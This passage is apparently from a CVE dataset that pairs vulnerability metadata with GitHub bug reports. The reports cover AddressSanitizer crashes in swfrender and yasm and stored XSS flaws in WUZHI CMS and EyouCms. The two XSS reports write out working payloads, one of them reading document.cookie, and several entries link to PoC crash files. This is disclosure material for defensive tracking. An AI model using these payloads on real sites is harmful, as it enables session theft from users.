Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1106906==ABORTING
```
# 2.negative-size-param
## env
ubuntu20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
swfrender - part of swftools 0.9.2
## sample
[id107_negative-size-param.zip](https://github.com/keepinggg/poc/blob/main/poc_of_swfrender/id107_negative-size-param.zip)
## crash
```
./swfrender id107_negative-size-param -o /dev/null
=1148866==ERROR: AddressSanitizer: negative-size-param: (size=-21465837888)
#0 0x7fe31237dfdd in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762
#1 0x559b516b3c75 in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71
#2 0x559b516b3c75 in newclip devices/render.c:538
#3 0x559b516b41e1 in render_startpage devices/render.c:936
#4 0x559b516348e1 in main /mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender.c:217
#5 0x7fe311fdd082 in __libc_start_main ../csu/libc-start.c:308
#6 0x559b51632ecd in _start (/mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender+0x24ecd)
0x7fe2fef21800 is located 0 bytes inside of 8998592-byte region [0x7fe2fef21800,0x7fe2ff7b66c0)
allocated by thread T0 here:
#0 0x7fe312423a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x559b516d0bc1 in rfx_calloc /mnt/hgfs/ubuntu/cve/swftools/swftools-master/lib/mem.c:69
SUMMARY: AddressSanitizer: negative-size-param ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 in __interceptor_memset
==1148866==ABORTING
```
# 3.heap-buffer-overflow
## env
ubuntu20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
swfrender - part of swftools 0.9.2
## sample
[id157_heap-buffer-overflow.zip](https://github.com/keepinggg/poc/blob/main/poc_of_swfrender/id157_heap-buffer-overflow.zip)
## crash
```
./swfrender id157_heap-buffer-overflow -o /dev/null
=1167329==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb50bafcc00 at pc 0x7fb50f696f3d bp 0x7fffa3c52d40 sp 0x7fffa3c524e8
WRITE of size 16 at 0x7fb50bafcc00 thread T0
#0 0x7fb50f696f3c in __interceptor_memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762
#1 0x55ca7b7620cc in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71
#2 0x55ca7b7620cc in render_startpage devices/render.c:922
#3 0x55ca7b6e28e1 in main /mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender.c:217
#4 0x7fb50f2f6082 in __libc_start_main ../csu/libc-start.c:308
#5 0x55ca7b6e0ecd in _start (/mnt/hgfs/ubuntu/cve/swftools/swftools-master/src/swfrender+0x24ecd)
0x7fb50bafcc00 is located 0 bytes to the right of 13906944-byte region [0x7fb50adb9800,0x7fb50bafcc00)
allocated by thread T0 here:
#0 0x7fb50f73c808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x55ca7b77eab9 in rfx_alloc /mnt/hgfs/ubuntu/cve/swftools/swftools-master/lib/mem.c:30
#2 0x7fb50f2f6082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 in __interceptor_memset
Shadow bytes around the buggy address:
0x0ff721757930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff721757970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff721757980:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff721757990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff7217579d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1167329==ABORTING
``` | bug report -- swfrender | https://api.github.com/repos/swftools/swftools/issues/198/comments | 0 | 2023-03-23T06:44:18Z | 2023-03-23T06:44:18Z | https://github.com/swftools/swftools/issues/198 | 1,636,946,205 | 198 |
CVE-2023-30123 | 2023-04-28T14:15:11.047 | wuzhicms v4.1.0 is vulnerable to Cross Site Scripting (XSS) in the Member Center, Account Settings. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/wuzhicms/wuzhicms/issues/205#issue-1635153937"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:wuzhicms:wuzhicms:4.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2B76E69A-B2F3-4359-A7C0-046CEE2FAEEB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/wuzhicms/wuzhicms/issues/205#issue-1635153937 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"wuzhicms",
"wuzhicms"
] | There is a Stored-XSS vulnerability in WUZHI CMS 4.1.0
Member Center - Account Settings
POC
The payload is `"><details/open/ontoggle=alert('/xss/')>`




Then login the management system!!


| There is a Stored-XSS vulnerability in WUZHI CMS 4.1.0 | https://api.github.com/repos/wuzhicms/wuzhicms/issues/205/comments | 0 | 2023-03-22T06:44:23Z | 2023-03-22T06:44:23Z | https://github.com/wuzhicms/wuzhicms/issues/205 | 1,635,153,937 | 205 |
CVE-2023-30125 | 2023-04-28T14:15:11.083 | EyouCms V1.6.1-UTF8-sp1 is vulnerable to Cross Site Scripting (XSS). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/40"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.1-utf8-sp1:*:*:*:*:*:*:*",
"matchCriteriaId": "91E07F04-0ABB-44F1-AAA5-E4E8E7B3DE92",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/weng-xianhu/eyoucms/issues/40 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | Version: V1.6.1-UTF8-sp1

1. Go to the background --> Advertising management -->Add new ads
2. Then fill in the payload " <style onload=alert(document.cookie) />"in the ad content.

Open the tab Invocation and copy the invocation link,


Access link,Causes XSS to steal sensitive information of logged-in users
 | There is a xss causes XSS to steal sensitive information of logged-in users | https://api.github.com/repos/weng-xianhu/eyoucms/issues/40/comments | 0 | 2023-03-24T09:24:19Z | 2024-03-22T06:48:55Z | https://github.com/weng-xianhu/eyoucms/issues/40 | 1,639,023,869 | 40 |
CVE-2023-31972 | 2023-05-09T13:15:18.503 | yasm v1.3.0 was discovered to contain a use after free via the function pp_getline at /nasm/nasm-pp.c. Note: Multiple third parties dispute this as a bug and not a vulnerability according to the YASM security policy. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/209"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:tortall:yasm:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1453CF78-5025-49BF-A1A6-C62F948B5735",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/209 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"yasm",
"yasm"
] |
I found a heap-use-after-free in yasm.
Please confirm.
Thanks!
Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
How to trigger
Compile the program with AddressSanitizer
Run command $ ./yasm -w -W -M $PoC
Details
ASAN report
$./yasm -w -W -M $PoC
```
yasm: warning: unrecognized option `-W'
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==973256==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011f0 at pc 0x0000005b191a bp 0x7ffe2af792f0 sp 0x7ffe2af792e8
READ of size 4 at 0x60e0000011f0 thread T0
#0 0x5b1919 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5104:45
#1 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#2 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#3 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#4 0x7f074a43c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41d46d in _start (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x41d46d)
0x60e0000011f0 is located 48 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260)
freed by thread T0 here:
#0 0x4999b2 in free (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x4999b2)
#1 0x53d597 in def_xfree /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:113:5
#2 0x5b381a in free_mmacro /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:1163:5
#3 0x5b05e3 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5002:25
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7f074a43c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x5c5744 in do_directive /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3204:24
#3 0x5b13c1 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5075:13
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7f074a43c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5104:45 in pp_getline
Shadow bytes around the buggy address:
0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c1c7fff8250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1c7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==973256==ABORTING
```
The URL of PoC is [PoC](https://github.com/randomssr/PoCs/blob/main/yasm/170-UAF) | yasm heap use-after-free bug | https://api.github.com/repos/yasm/yasm/issues/209/comments | 1 | 2023-03-01T02:17:35Z | 2023-05-10T05:20:07Z | https://github.com/yasm/yasm/issues/209 | 1,604,108,494 | 209 |
CVE-2023-31974 | 2023-05-09T13:15:18.550 | yasm v1.3.0 was discovered to contain a use after free via the function error at /nasm/nasm-pp.c. Note: Multiple third parties dispute this as a bug and not a vulnerability according to the YASM security policy. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/208"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:tortall:yasm:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1453CF78-5025-49BF-A1A6-C62F948B5735",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/208 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"yasm",
"yasm"
] |
I found a heap-use-after-free in yasm.
Please confirm.
Thanks!
Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
How to trigger
Compile the program with AddressSanitizer
Run command $ ./yasm -w -W -M $PoC
Details
ASAN report
$./yasm -w -W -M $PoC
```
yasm: warning: unrecognized option `-W'
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==973143==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011c8 at pc 0x0000005b2d1b bp 0x7ffdc3713530 sp 0x7ffdc3713528
READ of size 8 at 0x60e0000011c8 thread T0
#0 0x5b2d1a in error /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:4823:43
#1 0x5b0c6b in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5042:21
#2 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#3 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#4 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#5 0x7fae91912082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41d46d in _start (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x41d46d)
0x60e0000011c8 is located 8 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260)
freed by thread T0 here:
#0 0x4999b2 in free (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x4999b2)
#1 0x53d597 in def_xfree /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:113:5
#2 0x5b381a in free_mmacro /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:1163:5
#3 0x5b05e3 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5002:25
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7fae91912082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x5c5744 in do_directive /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3204:24
#3 0x5b13c1 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5075:13
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7fae91912082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:4823:43 in error
Shadow bytes around the buggy address:
0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c1c7fff8250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8280: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==973143==ABORTING
```
The URL of PoC is [PoC](https://github.com/randomssr/PoCs/blob/main/yasm/173-UAF) | yasm heap use-after-free bug | https://api.github.com/repos/yasm/yasm/issues/208/comments | 1 | 2023-03-01T02:08:44Z | 2023-05-10T05:20:11Z | https://github.com/yasm/yasm/issues/208 | 1,604,101,306 | 208 |
CVE-2023-31975 | 2023-05-09T13:15:18.590 | yasm v1.3.0 was discovered to contain a memory leak via the function yasm_intnum_copy at /libyasm/intnum.c. Note: Multiple third parties dispute this as a bug and not a vulnerability according to the YASM security policy. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 3.3,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/20/6"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/10"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/13"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/2"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/5"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/7"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/8"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/21/9"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/22/1"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/22/3"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/22/6"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/23/1"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/23/2"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/23/4"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/23/8"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/23/9"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://www.openwall.com/lists/oss-security/2023/06/24/1"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/210"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yasm_project:yasm:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "AD6556F7-3880-452A-ABA9-1A8A14BA41F3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/210 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"yasm",
"yasm"
] |
I found a memory leak bug in yasm.
Please confirm.
Thanks!
### Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
### How to trigger
Compile the program with AddressSanitizer
Run command
$ touch u
$ ./yasm -ium u
### Details
ASAN report
$./yasm -ium u
```
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==973537==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_a_l_e/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x511025 in yasm_intnum_copy /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/intnum.c:397:22
#3 0x638eb4 in group_assign_vstart_recurse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/objfmts/bin/bin-objfmt.c:424:30
#4 0x632759 in bin_objfmt_output /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/objfmts/bin/bin-objfmt.c:1334:9
#5 0x4d07a2 in do_assemble /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:546:5
#6 0x4ccce0 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:749:12
#7 0x7f1562a88082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
Direct leak of 16 byte(s) in 1 object(s) allocated from:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_a_l_e/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x510522 in yasm_intnum_create_uint /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/intnum.c:310:25
#3 0x636694 in bin_lma_create_group /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/objfmts/bin/bin-objfmt.c:248:22
#4 0x51d0f2 in yasm_object_sections_traverse /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/section.c:544:22
